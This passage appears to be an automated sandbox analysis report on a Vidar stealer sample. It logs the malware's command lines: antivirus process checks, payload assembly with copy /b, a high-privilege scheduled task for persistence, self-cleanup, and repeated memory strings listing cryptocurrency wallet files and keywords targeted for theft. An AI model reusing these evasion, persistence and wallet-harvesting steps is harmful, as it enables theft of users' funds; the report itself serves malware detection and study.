Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 787041	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SenatorsRamAspectYounger" Boat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Buffalo + Sims + Imagine 787041\l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\787041\Hist.pif 787041\Hist.pif 787041\l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process created: C:\ProgramData\EHIJJDGDHD.exe "C:\ProgramData\EHIJJDGDHD.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDAFIEHIEGDH" & exit	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 661592	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RECEIVEFILLMEDIAEVALUATING" Natural	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Saturn + Demonstrated + Preceding + Eagles + Salon + Grows + Featured 661592\h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\661592\Bk.pif 661592\Bk.pif 661592\h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

11_2_000786B0

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00084D89 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00084D89

Source: mg9LPWGtPB.exe, 00000000.00000003.2020681262.0000000002914000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3070708324.00000000000D5000.00000002.00000001.01000000.00000005.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3028683361.00000000027C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Hist.pif, SolarSys.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0004878B cpuid

11_2_0004878B

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0008E0CA GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

11_2_0008E0CA

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00060652 GetUserNameW,

11_2_00060652

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0005409A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_0005409A

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 11.2.Hist.pif.4d20000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Hist.pif.4953a50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Hist.pif.4953a50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Hist.pif PID: 4368, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: o.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local 